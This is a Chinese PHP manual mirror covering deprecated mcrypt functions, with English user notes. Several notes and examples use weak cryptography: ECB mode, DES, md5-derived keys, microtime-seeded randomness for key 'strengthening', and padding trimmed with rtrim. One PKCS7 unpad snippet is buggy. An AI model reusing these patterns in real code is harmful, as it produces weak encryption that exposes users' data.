Example #1 mcrypt_get_iv_size() 示例

<?php
echo mcrypt_get_iv_size(MCRYPT_CAST_256, MCRYPT_MODE_CFB) . "\n";

echo mcrypt_get_iv_size('des', 'ecb') . "\n";
?>

参见

  • mcrypt_get_block_size() - 获得加密算法的分组大小
  • mcrypt_enc_get_iv_size() - 返回打开的算法的初始向量大小
  • mcrypt_create_iv() - 从随机源创建初始向量

User Contributed Notes

Hernanibus 28-Jun-2016 05:45
The size of the initialization vector (iv) will be returned in bytes NOT bits, something to keep in mind specially if the iv is passed together appended or prepended with the encrypted data for decryption


获取指定加密算法的密钥大小

  • ? mcrypt_get_iv_size
  • mcrypt_list_algorithms ?
  • PHP Manual
  • Mcrypt 函数
  • 获取指定加密算法的密钥大小

mcrypt_get_key_size

(PHP 4, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_get_key_size — 获取指定加密算法的密钥大小

Warning

本函数已自 PHP 7.1.0 起废弃并将自 PHP 7.2.0 起移除。强烈建议不要使用本函数。

说明

mcrypt_get_key_size(int $cipher): int|false
mcrypt_get_key_size(string $cipher, string $mode): int|false

第一个原型是针对 libmcrypt 2.2.x 的， 第二个原型是针对 libmcrypt 2.4.x 或 2.5.x 的。

mcrypt_get_key_size() 用来获取 由 cipher 所指定的算法和模式所需的密钥长度。

mcrypt_enc_get_key_size() 更加有用， 因为它使用由 mcrypt_module_open() 返回的资源。

参数

cipher

MCRYPT_ciphername 常量中的一个，或者是字符串值的算法名称。

mode

MCRYPT_MODE_modename 常量中的一个，或以下字符串中的一个："ecb"，"cbc"，"cfb"，"ofb"，"nofb" 和 "stream"。

返回值

返回算法所支持的最大密钥大小，以字节为单位。 或者在失败时返回 false。

示例

Example #1 mcrypt_get_key_size() 示例

<?php
echo mcrypt_get_key_size('tripledes', 'ecb');
?>

在 libmcrypt 2.4.x 或 2.5.x 版本中， 如果使用本函数。

以上示例会输出：

24

参见

  • mcrypt_get_block_size() - 获得加密算法的分组大小
  • mcrypt_enc_get_key_size() - 返回打开的模式所能支持的最长密钥
  • mcrypt_encrypt() - 使用给定参数加密明文

User Contributed Notes

Robin 09-Mar-2010 04:43
While not specified in the description, this function, just like mcrypt_enc_get_key_size(), returns the cipher's largest key size in BYTES.


获取支持的加密算法

  • ? mcrypt_get_key_size
  • mcrypt_list_modes ?
  • PHP Manual
  • Mcrypt 函数
  • 获取支持的加密算法

mcrypt_list_algorithms

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_list_algorithms — 获取支持的加密算法

Warning

本函数已自 PHP 7.1.0 起废弃并将自 PHP 7.2.0 起移除。强烈建议不要使用本函数。

说明

mcrypt_list_algorithms(string $lib_dir = ini_get("mcrypt.algorithms_dir")): array

获取 lib_dir 中 包含的受支持的算法。

参数

lib_dir

指定算法所在的位置。 如果未指定，将使用 php.ini 中的 mcrypt.algorithms_dir 指示所指定的位置。

返回值

以数组方式返回所有受支持的算法。

示例

Example #1 mcrypt_list_algorithms() 示例

<?php
$algorithms = mcrypt_list_algorithms();
print_r($algorithms);
?>

以上示例的输出类似于：

Array
(
    [0] => cast-128
    [1] => gost
    [2] => rijndael-128
    [3] => twofish
    [4] => arcfour
    [5] => cast-256
    [6] => loki97
    [7] => rijndael-192
    [8] => saferplus
    [9] => wake
    [10] => blowfish-compat
    [11] => des
    [12] => rijndael-256
    [13] => serpent
    [14] => xtea
    [15] => blowfish
    [16] => enigma
    [17] => rc2
    [18] => tripledes
)

User Contributed Notes

There are no user contributed notes for this page.


获取所支持的模式

  • ? mcrypt_list_algorithms
  • mcrypt_module_close ?
  • PHP Manual
  • Mcrypt 函数
  • 获取所支持的模式

mcrypt_list_modes

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_list_modes — 获取所支持的模式

Warning

本函数已自 PHP 7.1.0 起废弃并将自 PHP 7.2.0 起移除。强烈建议不要使用本函数。

说明

mcrypt_list_modes(string $lib_dir = ini_get("mcrypt.modes_dir")): array

获取 lib_dir 中 包含的受支持的模式。

参数

lib_dir

指定模式所在的位置。 如果未指定，将使用 php.ini 中的 mcrypt.modes_dir 指示所指定的位置。

返回值

以数组形式返回受支持的模式。

示例

Example #1 mcrypt_list_modes() 示例

<?php
$modes = mcrypt_list_modes();

foreach ($modes as $mode) {
echo "$mode <br />\n";
}
?>

本示例列出在默认目录中 所有受支持的模式。 如果在 php.ini 中未指定 mcrypt.modes_dir， 则使用默认的 mcrypt 库 安装目录（/usr/local/lib/libmcrypt）。

User Contributed Notes

There are no user contributed notes for this page.


关闭加密模块

  • ? mcrypt_list_modes
  • mcrypt_module_get_algo_block_size ?
  • PHP Manual
  • Mcrypt 函数
  • 关闭加密模块

mcrypt_module_close

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_module_close — 关闭加密模块

Warning

本函数已自 PHP 7.1.0 起废弃并将自 PHP 7.2.0 起移除。强烈建议不要使用本函数。

说明

mcrypt_module_close(resource $td): bool

关闭加密模块。

参数

td

加密描述符。

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • mcrypt_module_open() - 打开算法和模式对应的模块

User Contributed Notes

There are no user contributed notes for this page.


返回指定算法的分组大小

  • ? mcrypt_module_close
  • mcrypt_module_get_algo_key_size ?
  • PHP Manual
  • Mcrypt 函数
  • 返回指定算法的分组大小

mcrypt_module_get_algo_block_size

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_module_get_algo_block_size — 返回指定算法的分组大小

Warning

本函数已自 PHP 7.1.0 起废弃并将自 PHP 7.2.0 起移除。强烈建议不要使用本函数。

说明

mcrypt_module_get_algo_block_size(string $algorithm, string $lib_dir = ?): int

返回指定算法的分组大小。

参数

algorithm

算法名称。

lib_dir

可选参数 lib_dir ， 表示在操作系统上包含模式模块的路径。

返回值

返回指定算法的分组大小，以字节为单位。

User Contributed Notes

There are no user contributed notes for this page.


获取打开模式所支持的最大密钥大小

  • ? mcrypt_module_get_algo_block_size
  • mcrypt_module_get_supported_key_sizes ?
  • PHP Manual
  • Mcrypt 函数
  • 获取打开模式所支持的最大密钥大小

mcrypt_module_get_algo_key_size

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_module_get_algo_key_size — 获取打开模式所支持的最大密钥大小

Warning

本函数已自 PHP 7.1.0 起废弃并将自 PHP 7.2.0 起移除。强烈建议不要使用本函数。

说明

mcrypt_module_get_algo_key_size(string $algorithm, string $lib_dir = ?): int

获取打开模式所支持的最大密钥大小。

参数

algorithm

算法名称。

lib_dir

可选参数， 表示在操作系统上包含模式模块的路径。

返回值

本函数返回算法所支持的最大密钥大小， 以字节为单位。

User Contributed Notes

There are no user contributed notes for this page.


以数组形式返回打开的算法所支持的密钥大小

  • ? mcrypt_module_get_algo_key_size
  • mcrypt_module_is_block_algorithm_mode ?
  • PHP Manual
  • Mcrypt 函数
  • 以数组形式返回打开的算法所支持的密钥大小

mcrypt_module_get_supported_key_sizes

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_module_get_supported_key_sizes — 以数组形式返回打开的算法所支持的密钥大小

Warning

本函数已自 PHP 7.1.0 起废弃并将自 PHP 7.2.0 起移除。强烈建议不要使用本函数。

说明

mcrypt_module_get_supported_key_sizes(string $algorithm, string $lib_dir = ?): array

以数组形式返回指定算法所支持的密钥大小。 如果从 1 到 mcrypt_module_get_algo_key_size() 的密钥大小都支持，则返回空数组。

参数

algorithm

算法名称。

lib_dir

可选参数， 表示在操作系统上包含算法模块的路径。

返回值

以数组形式返回指定算法所支持的密钥大小。 如果从 1 到 mcrypt_module_get_algo_key_size() 的密钥大小都支持，则返回空数组。

参见

  • mcrypt_enc_get_supported_key_sizes() - 以数组方式返回打开的算法所支持的密钥长度

User Contributed Notes

Daniel Bartlett <dan at lockedbox dot net> 11-Feb-2004 10:50
A small bit of php for listing available encryption algorythms and their keysizes.

<?php
$cipher_dir = "/usr/local/lib/libmcrypt";
$algorithms = mcrypt_list_algorithms($cipher_dir);
echo "<html><head></head><body><table><tr>\n";
foreach ($algorithms as $cipher) {
        echo "<td>" . $cipher . "</td><td>";
        $ksizes = mcrypt_module_get_supported_key_sizes($cipher, $cipher_dir);
        if($ksizes==NULL) echo mcrypt_module_get_algo_key_size($cipher, $cipher_dir);
        else foreach ($ksizes as $size) {
                echo $size . " ";
        }
        echo "</td></tr>\n";
}
echo "</table></body></html>\n";
?>

I hope some one finds it handy.


返回指定模块是否是分组加密模式

  • ? mcrypt_module_get_supported_key_sizes
  • mcrypt_module_is_block_algorithm ?
  • PHP Manual
  • Mcrypt 函数
  • 返回指定模块是否是分组加密模式

mcrypt_module_is_block_algorithm_mode

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_module_is_block_algorithm_mode — 返回指定模块是否是分组加密模式

Warning

本函数已自 PHP 7.1.0 起废弃并将自 PHP 7.2.0 起移除。强烈建议不要使用本函数。

说明

mcrypt_module_is_block_algorithm_mode(string $mode, string $lib_dir = ?): bool

对于分组加密模式，返回 true， 反之返回 false。 （例如，对于 STREAM 模式返回 false，对于 cbc，cfb，ofb 返回 true）

参数

mode

模式。

lib_dir

可选参数， 表示在操作系统上包含算法模块的路径。

返回值

对于分组加密模式，返回 true， 反之返回 false。 （例如，对于 STREAM 模式返回 false，对于 cbc，cfb，ofb 返回 true）

User Contributed Notes

There are no user contributed notes for this page.


检测指定算法是否为分组加密算法

  • ? mcrypt_module_is_block_algorithm_mode
  • mcrypt_module_is_block_mode ?
  • PHP Manual
  • Mcrypt 函数
  • 检测指定算法是否为分组加密算法

mcrypt_module_is_block_algorithm

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_module_is_block_algorithm — 检测指定算法是否为分组加密算法

Warning

本函数已自 PHP 7.1.0 起废弃并将自 PHP 7.2.0 起移除。强烈建议不要使用本函数。

说明

mcrypt_module_is_block_algorithm(string $algorithm, string $lib_dir = ?): bool

如果指定算法是分组加密算法，返回 true， 反之返回 false。

参数

algorithm

要检测的算法。

lib_dir

可选参数 lib_dir， 表示在操作系统上包含算法模块的路径。

返回值

如果指定算法是分组加密算法，返回 true， 反之返回 false。

User Contributed Notes

There are no user contributed notes for this page.


检测指定模式是否以分组方式输出

  • ? mcrypt_module_is_block_algorithm
  • mcrypt_module_open ?
  • PHP Manual
  • Mcrypt 函数
  • 检测指定模式是否以分组方式输出

mcrypt_module_is_block_mode

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_module_is_block_mode — 检测指定模式是否以分组方式输出

Warning

本函数已自 PHP 7.1.0 起废弃并将自 PHP 7.2.0 起移除。强烈建议不要使用本函数。

说明

mcrypt_module_is_block_mode(string $mode, string $lib_dir = ?): bool

如果模式是以字节块（分组）方式输出，则返回 true， 如果只是以字节方式输出，则返回 false。 （例如，对于 cbc 和 ecb 模式，返回 true，对于 cfb 和 stream 模式，返回 false）

参数

mode

MCRYPT_MODE_modename 常量中的一个，或以下字符串中的一个："ecb"，"cbc"，"cfb"，"ofb"，"nofb" 和 "stream"。

lib_dir

可选参数 lib_dir ， 表示在操作系统上包含模式模块的路径。

返回值

如果模式是以字节块（分组）方式输出，则返回 true， 如果只是以字节方式输出，则返回 false。 （例如，对于 cbc 和 ecb 模式，返回 true，对于 cfb 和 stream 模式，返回 false）

User Contributed Notes

There are no user contributed notes for this page.


打开算法和模式对应的模块

  • ? mcrypt_module_is_block_mode
  • mcrypt_module_self_test ?
  • PHP Manual
  • Mcrypt 函数
  • 打开算法和模式对应的模块

mcrypt_module_open

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_module_open — 打开算法和模式对应的模块

Warning

本函数已自 PHP 7.1.0 起废弃并将自 PHP 7.2.0 起移除。强烈建议不要使用本函数。

说明

mcrypt_module_open(
string $algorithm,
string $algorithm_directory,
string $mode,
string $mode_directory
): resource

本函数打开指定算法和模式对应的模块。 算法名称可以是字符串，例如 "twofish"， 也可以是 MCRYPT_ciphername 常量。 调用 mcrypt_module_close() 函数可以关闭模块。

参数

algorithm

MCRYPT_ciphername 常量中的一个，或者是字符串值的算法名称。

algorithm_directory

algorithm_directory 参数指示加密模块的位置。 如果你提供此参数，则使用你指定的值。 如果将此参数设置为空字符串（""），将使用 php.ini 中的 mcrypt.algorithms_dir 。 如果不指定此参数，则使用 libmcrypt 的编译路径 （通常是 /usr/local/lib/libmcrypt）。

mode

MCRYPT_MODE_modename 常量中的一个，或以下字符串中的一个："ecb"，"cbc"，"cfb"，"ofb"，"nofb" 和 "stream"。

mode_directory

algorithm_directory 参数指示加密模式的位置。 如果你提供此参数，则使用你指定的值。 如果将此参数设置为空字符串（""），将使用 php.ini 中的 mcrypt.modes_dir 。 如果不指定此参数，则使用 libmcrypt 的编译路径 （通常是 /usr/local/lib/libmcrypt）。

返回值

成功则返回加密描述符，如果发生错误则返回 false。

示例

Example #1 mcrypt_module_open() 示例

<?php
$td = mcrypt_module_open(MCRYPT_DES, '',
MCRYPT_MODE_ECB, '/usr/lib/mcrypt-modes');

$td = mcrypt_module_open('rijndael-256', '', 'ofb', '');
?>

示例中的第一行从默认目录打开 DES 加密算法， 从 /usr/lib/mcrypt-modes 目录打开 ECB 模式。 第二个示例中，使用字符串形式表示算法和模式， 这种形式仅适用于 libmcrypt 2.4.x 或 2.5.x 版本。

Example #2 在加密中使用 mcrypt_module_open()

<?php
/* 打开加密算法和模式 */
$td = mcrypt_module_open('rijndael-256', '', 'ofb', '');

/* 创建初始向量，并且检测密钥长度。
* Windows 平台请使用 MCRYPT_RAND。 */
$iv = mcrypt_create_iv(mcrypt_enc_get_iv_size($td), MCRYPT_DEV_RANDOM);
$ks = mcrypt_enc_get_key_size($td);

/* 创建密钥 */
$key = substr(md5('very secret key'), 0, $ks);

/* 初始化加密 */
mcrypt_generic_init($td, $key, $iv);

/* 加密数据 */
$encrypted = mcrypt_generic($td, 'This is very important data');

/* 结束加密，执行清理工作 */
mcrypt_generic_deinit($td);

/* 初始化解密模块 */
mcrypt_generic_init($td, $key, $iv);

/* 解密数据 */
$decrypted = mdecrypt_generic($td, $encrypted);

/* 结束解密，执行清理工作，并且关闭模块 */
mcrypt_generic_deinit($td);
mcrypt_module_close($td);

/* 显示文本 */
echo trim($decrypted) . "\n";
?>

参见

  • mcrypt_module_close() - 关闭加密模块
  • mcrypt_generic() - 加密数据
  • mdecrypt_generic() - 解密数据
  • mcrypt_generic_init() - 初始化加密所需的缓冲区
  • mcrypt_generic_deinit() - 对加密模块进行清理工作

User Contributed Notes

Anonymous 18-Feb-2016 10:34
Follow up to anonymous with Windows' mcrypt_module_open() errors:

<?php
$M = mcrypt_list_modes();
$A = mcrypt_list_algorithms();
foreach ($M as $m)
    foreach ($A as $a) {
        $t = @mcrypt_module_open($a,'',$m,'');
        print "$m, $a = ";
        print ($t)?"ok":"nope";
        print "<br>";
    }
?>

This will show that not all modes work with all algorithmns. Cygwin also has no 'libmcrypt.dll' and it too will work with only some combinations.

(First tries just happened to be one of the ones that did not work!)
Mark 29-Oct-2012 02:11
for errors like
' mcrypt_module_open(): Could not open encryption module in '

Make sure you're using the right name. The page giving the list of ciphers is NOT the right way to say each cipher (shown here http://www.php.net/manual/en/mcrypt.ciphers.php).

In order to see what ones are supported, try phpinfo(); and look under mcrypt to find something like this

mcrypt support => enabled
mcrypt_filter support => enabled
Version => 2.5.8
Api No => 20021217
Supported ciphers => cast-128 gost rijndael-128 twofish arcfour cast-256 loki97 rijndael-192 saferplus wake blowfish-compat des rijndael-256
 serpent xtea blowfish enigma rc2 tripledes
Supported modes => cbc cfb ctr ecb ncfb nofb ofb stream
lehmann*at*arcor-so.net 20-Jul-2009 08:10
Keep in mind that the mcrypt functions do not implement padding like e.g. pkcs#5. This causes the problem with zero bytes at the end and the sting cannot be correctly decoded in other environments.

For an example how to add pkcs 5 padding, see ref.mcrypt.php
royconejo 29-Mar-2009 09:01
about the previous comments on hex formatting and capitalization as a way to improve the key:

this would seem pretty obvious, but it is a choice to be limited to only hex characters ([0-9a-z]); you can get the original RAW output from md5() or sha1() and not the default readable hex formatting.

the result of a raw output will be 16 o 20 (depending on the hash function being used) series of chars in the range 0-255. way better than [0-9a-z] and even [0-9a-zA-Z].

16 or 20 is generally lower than the maximum key lenght ($ks in the example), but you can append two or more keys together:

<?php
$human_key1 = 'something very secret';
$human_key2 = 'something else very secret';

// 40 bytes binary key using two "human readable" keys and sha1.
$bigger_binary_key = sha1($human_key1, true) . sha1($human_key2, true);

// then just use it as you would (extract taken from the example)
$key = substr($bigger_binary_key, 0, $ks);
?>

... or you can automatically split one large "human key" into two or more parts, hash those parts with sha1 (raw output!) and merge them together again (in original order or rearrange, salt, transform them as you like) to get a binary key of 40, 60, 80 or more chars depending on the number of parts the secret key has been splitted =)
ash 17-Jul-2008 03:07
A slight improvement of dinamic's function to create a key:

I think the weak point is that capitals are always used in the same part of the string. The following code capitalizes random characters of the string, making the key less predictable:

<?php
$key = substr($key1, 0, $ks/2) . substr($key2, (round(strlen($key2) / 2)), $ks/2);
$key = substr($key.$key1.$key2.$key1,0,$ks);

$buffer = str_split($key);

$limit = count($buffer)-1;
srand((float)microtime() * 1000000);

$end = rand(0, $limit);
$a = 0;

// replace random chars with capitals
while ($a < $end) {
    list($usec, $sec) = explode(' ', microtime());
        $seed = ((float)$sec) + ((float) $usec * 100000);
    mt_srand($seed);

    $index = mt_rand(0,$limit);

    $buffer[$index] = strtoupper($buffer[$index]);
    $a++;
}

$key = join('', $buffer);
?>
dinamic at gmail dot com 13-Nov-2007 03:05
Also it should be pointed that md5() and/or sha1() should not be used while forming your key for the mcrypt. This is so because hex encoding uses a set of only 16 characters [0-9a-f], which is equivalent to 4 bits, and thus halve the strength of your encryption: 4 x 32 = 128-bit.

I have re-wrote the example shown, so here is my suggestion to get real 256-bit encryption:

<?php
$key1 = "this is a secret key";
$key2 = "this is the second secret key";
$input = "Let us meet at 9 o'clock at the secret place.";
$length = strlen($input);

    /* Open the cipher */
    $td = mcrypt_module_open('rijndael-256', '', 'cbc', '');

    /* Create the IV and determine the keysize length, use MCRYPT_RAND
     * on Windows instead */
    $iv = mcrypt_create_iv(mcrypt_enc_get_iv_size($td), MCRYPT_RAND);
    $ks = mcrypt_enc_get_key_size($td);

    /* Create key */
    $key1 = md5($key1);
    $key2 = md5($key2);

    $key = substr($key1, 0, $ks/2) . substr(strtoupper($key2), (round(strlen($key2) / 2)), $ks/2);

    $key = substr($key.$key1.$key2.strtoupper($key1),0,$ks);

    /* Intialize encryption */
    mcrypt_generic_init($td, $key, $iv);

    /* Encrypt data */
    $encrypted = mcrypt_generic($td, $input);

    /* Terminate encryption handler */
    mcrypt_generic_deinit($td);

    /* Initialize encryption module for decryption */
    mcrypt_generic_init($td, $key, $iv);

    /* Decrypt encrypted string */
    $decrypted = mdecrypt_generic($td, $encrypted);

    /* Terminate decryption handle and close module */
    mcrypt_generic_deinit($td);
    mcrypt_module_close($td);

    /* Show string */
    echo "Text: ".substr($decrypted,0,$length) . "<br>";
    echo "Encoded: ".$encrypted ."<br>";
    echo "<br>key1: $key1 <br>key2: $key2<br>created key: $key";
?>
31-Jul-2003 08:14
Doing a trim($decrypted) will remove the null padding that may occur as a result of decryption.

The problem is if you're encrypting something like a MSWord document which can commonly end with nulls. The result $decrypted will be smaller than the original cleartext - which will then fail to open in MSOffice.

To get around this, make sure you store the length of the original cleartext, and when you decrypt it, do:

$decrypted = substr(mdecrypt_generic($td, $encrypted), 0, $originalLength);


在指定模块上执行自检

  • ? mcrypt_module_open
  • mdecrypt_generic ?
  • PHP Manual
  • Mcrypt 函数
  • 在指定模块上执行自检

mcrypt_module_self_test

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_module_self_test — 在指定模块上执行自检

Warning

本函数已自 PHP 7.1.0 起废弃并将自 PHP 7.2.0 起移除。强烈建议不要使用本函数。

说明

mcrypt_module_self_test(string $algorithm, string $lib_dir = ?): bool

在指定模块上执行自检。

参数

algorithm

MCRYPT_ciphername 常量中的一个，或者是字符串值的算法名称。

lib_dir

可选参数 lib_dir， 表示包含加密算法模块的路径。

返回值

自检成功返回 true， 自检失败返回 false。

示例

Example #1 mcrypt_module_self_test() 示例

<?php
var_dump(mcrypt_module_self_test(MCRYPT_RIJNDAEL_128)) . "\n";
var_dump(mcrypt_module_self_test(MCRYPT_BOGUS_CYPHER));
?>

以上示例会输出：

bool(true)
bool(false)

User Contributed Notes

There are no user contributed notes for this page.


解密数据

  • ? mcrypt_module_self_test
  • Mhash ?
  • PHP Manual
  • Mcrypt 函数
  • 解密数据

mdecrypt_generic

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mdecrypt_generic — 解密数据

Warning

本函数已自 PHP 7.1.0 起废弃并将自 PHP 7.2.0 起移除。强烈建议不要使用本函数。

说明

mdecrypt_generic(resource $td, string $data): string

解密数据。 请注意，由于存在数据补齐的情况， 返回字符串的长度可能和明文的长度不相等。

参数

td

由 mcrypt_module_open() 函数创建的加密描述符。

data

密文。

返回值

Returns decrypted string.

示例

Example #1 mdecrypt_generic() 示例

<?php
/* 数据 */
$key = 'this is a very long key, even too long for the cipher';
$plain_text = 'very important data';

/* 打开加密模块，并且创建初始向量 */
$td = mcrypt_module_open('des', '', 'ecb', '');
$key = substr($key, 0, mcrypt_enc_get_key_size($td));
$iv_size = mcrypt_enc_get_iv_size($td);
$iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);

/* 初始化加密句柄 */
if (mcrypt_generic_init($td, $key, $iv) != -1) {

/* 加密数据 */
$c_t = mcrypt_generic($td, $plain_text);
mcrypt_generic_deinit($td);

/* 为解密重新初始化缓冲区 */
mcrypt_generic_init($td, $key, $iv);
$p_t = mdecrypt_generic($td, $c_t);

/* 执行清理工作 */
mcrypt_generic_deinit($td);
mcrypt_module_close($td);
}

if (strncmp($p_t, $plain_text, strlen($plain_text)) == 0) {
echo "ok\n";
} else {
echo "error\n";
}
?>

上例中演示了如何检测 解密后的数据是否和原始明文长度一致。 需要着重提醒的是，在对数据进行机密之前， 必须使用 mcrypt_generic_init() 函数来重新初始化缓冲区。

调用本函数之前， 必须使用密钥和初始向量来调用 mcrypt_generic_init() 函数 对解密句柄进行初始化。 加解密工作完成之后，需要调用 mcrypt_generic_deinit() 来释放加解密缓冲区。 示例请参见 mcrypt_module_open()。

参见

  • mcrypt_generic() - 加密数据
  • mcrypt_generic_init() - 初始化加密所需的缓冲区
  • mcrypt_generic_deinit() - 对加密模块进行清理工作

User Contributed Notes

Ulysse 07-Nov-2013 02:27
Based on the information provided by "jakub dot lopuszanski at nasza-klasa dot pl" that in PKCS#7, the last byte contains the number of byte to remove (see RFC 5652, part 6.3), and for those like me who like to copy paste an already-made snippet:

<?php
function unpadPKCS7($data, $blocksize)
{
    $last = substr($data, -1);
    return substr($data, 0, strlen($data) - ord($last));
}
?>

Now you have no more reason to use rtrim() to remove the padding at the end of the result.
jakub dot lopuszanski at nasza-klasa dot pl 25-Jun-2013 07:16
For all those of you which are "surprised" by the padding (even though it is mentioned in the description of the method) please do not just "strip away everything which I do not understand".
The approach with rtrim, rtrim "\0", removing all charcodes < 16, etc. are all wrong.
The PKCS #7 padding works just as described in  RFC 5652.
To remove it, just look at the last byte of the message, and it will tell you how many bytes to remove.
For example, if the last byte is equal to \0A, then remove 10 bytes.
Peter Bailey 19-Mar-2012 05:49
We found that sometimes the resulting padding is not null characters "\0" but rather one of several control characters.

If you know your data is not supposed to have any trailing control characters "as we did" you can strip them like so.

<?php

$data = mdecrypt_generic( $cipher, $data );

// Strip trailing control-character padding
$data = preg_replace( "/\p{Cc}*$/u", "", $data );

?>
trashmail dot hashishin at gmail dot com 01-Jun-2010 12:46
Whenever you need to decrypt files encrypted with dot.net (and others?) you can use the following settings:

Encryption: 'rijndael-256'
Mode: 'cbc'
Padding-Mode: Zeros
iv: "yes"

encode the data with base64 to send them to your php script
Anonymous 21-Mar-2009 07:31
Here's a quick snippet for removing PKCS7 padding:

<?php
function unpadPKCS7($data, $blockSize) {
    $length = strlen ( $data );
    if ($length > 0) {
        $first = substr ( $data, - 1 );

        if (ord ( $first ) <= $blockSize) {
            for($i = $length - 2; $i > 0; $i --)
                if (ord ( $data [$i] != $first ))
                    break;

            return substr ( $data, 0, $i );
        }
    }
    return $data;
}
?>
nytro_rst at yahoo dot com 09-Feb-2009 03:33
<?php
// Parameters:
// $text = The text that you want to encrypt.
// $key = The key you're using to encrypt.
// $alg = The algorithm.
// $crypt = 1 if you want to crypt, or 0 if you want to decrypt.

function cryptare($text, $key, $alg, $crypt)
{
    $encrypted_data="";
    switch($alg)
    {
        case "3des":
            $td = mcrypt_module_open('tripledes', '', 'ecb', '');
            break;
        case "cast-128":
            $td = mcrypt_module_open('cast-128', '', 'ecb', '');
            break;
        case "gost":
            $td = mcrypt_module_open('gost', '', 'ecb', '');
            break;
        case "rijndael-128":
            $td = mcrypt_module_open('rijndael-128', '', 'ecb', '');
            break;
        case "twofish":
            $td = mcrypt_module_open('twofish', '', 'ecb', '');
            break;
        case "arcfour":
            $td = mcrypt_module_open('arcfour', '', 'ecb', '');
            break;
        case "cast-256":
            $td = mcrypt_module_open('cast-256', '', 'ecb', '');
            break;
        case "loki97":
            $td = mcrypt_module_open('loki97', '', 'ecb', '');
            break;
        case "rijndael-192":
            $td = mcrypt_module_open('rijndael-192', '', 'ecb', '');
            break;
        case "saferplus":
            $td = mcrypt_module_open('saferplus', '', 'ecb', '');
            break;
        case "wake":
            $td = mcrypt_module_open('wake', '', 'ecb', '');
            break;
        case "blowfish-compat":
            $td = mcrypt_module_open('blowfish-compat', '', 'ecb', '');
            break;
        case "des":
            $td = mcrypt_module_open('des', '', 'ecb', '');
            break;
        case "rijndael-256":
            $td = mcrypt_module_open('rijndael-256', '', 'ecb', '');
            break;
        case "xtea":
            $td = mcrypt_module_open('xtea', '', 'ecb', '');
            break;
        case "enigma":
            $td = mcrypt_module_open('enigma', '', 'ecb', '');
            break;
        case "rc2":
            $td = mcrypt_module_open('rc2', '', 'ecb', '');
            break;
        default:
            $td = mcrypt_module_open('blowfish', '', 'ecb', '');
            break;
    }

    $iv = mcrypt_create_iv(mcrypt_enc_get_iv_size($td), MCRYPT_RAND);
    $key = substr($key, 0, mcrypt_enc_get_key_size($td));
    mcrypt_generic_init($td, $key, $iv);

    if($crypt)
    {
        $encrypted_data = mcrypt_generic($td, $text);
    }
    else
    {
        $encrypted_data = mdecrypt_generic($td, $text);
    }

    mcrypt_generic_deinit($td);
    mcrypt_module_close($td);

    return $encrypted_data;
}
?>
Silvan 17-Aug-2007 12:34
It is generally not recommended to just use rtrim to remove the padding.

Use rtrim($str, "\0") for strings that do not end in "\0" or store the data length during encryption.
(Although data containing "\0" sometimes gets corrupted during encryption so these types of data actually should be packed.)

For example:

<?php

function encrypt($original_data)
{
    $length = strlen($original_data);
    $data_to_encrypt = $length.'|'.$original_data;
    // Encrypt the data including its length.
    // Do not save the length unencrypted, as this could be a (minor) security risk
}

function decrypt($cypher)
{
    // Decrypt the cypher data first
    // Next retrieve the original data
    list($length, $padded_data) = explode('|', $decrypted_data, 2);
    $original_data = substr($padded_data, 0, $length);
}

?>
php at pcwize dot com 12-Oct-2006 02:59
Just confirming the .DLL issues. With 4.3.4 you need the older .DLL. I'm guessing any version of PHP4 needs the older .DLL. With PHP5 you need the newer one.
drew at expressdynamics dot com 05-Jul-2005 10:07
On Win32 systems with PHP 5, you must use the newer libmcrypt.dll file, otherwise mdecrypt_generic will not work.
robbie [at] averill [dot] co [dot] nz 24-Mar-2005 03:15
I have noticed that sometimes when the binary ciphertext is longer than the plaintext, the decrypted plaintext can have some little boxes/squares next to it as 'padding'. I also noticed that you can't cut and paste them to be able to edit them out, but i did find a solution.

Just call rtrim() around the string and it removes them.
jon@jonroig dot com 07-Apr-2004 07:29
Here's a bit of encrypt/decrypt code.

If you're using this on the win32 platform, BEWARE! The latest DLL (19-Jan-2004) contains a bug that keeps mdecrypt_generic from functioning. Nearly drove me over the edge... The 30-Dec-2002 version seems to work with no trouble.
<?

$key = "this is a secret key";
$input = "Let us meet at 9 o'clock at the secret place.";

$td = mcrypt_module_open('tripledes', '', 'ecb', '');
$iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($td), MCRYPT_RAND);
mcrypt_generic_init($td, $key, $iv);
$encrypted_data = mcrypt_generic($td, $input);
mcrypt_generic_deinit($td);
mcrypt_module_close($td);

echo "Encrypt: ".$encrypted_data;

echo "<br><br>";

$td = mcrypt_module_open('tripledes', '', 'ecb', '');
$iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($td), MCRYPT_RAND);
$key = substr($key, 0, mcrypt_enc_get_key_size($td));
mcrypt_generic_init($td, $key, $iv);
$decrypted_data = mdecrypt_generic($td, $encrypted_data);
echo "Decrypt: ".$decrypted_data;
mcrypt_generic_deinit($td);
mcrypt_module_close($td);

?>


Mhash

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 示例
  • Mhash 函数
    • mhash_count — Gets the highest available hash ID
    • mhash_get_block_size — Gets the block size of the specified hash
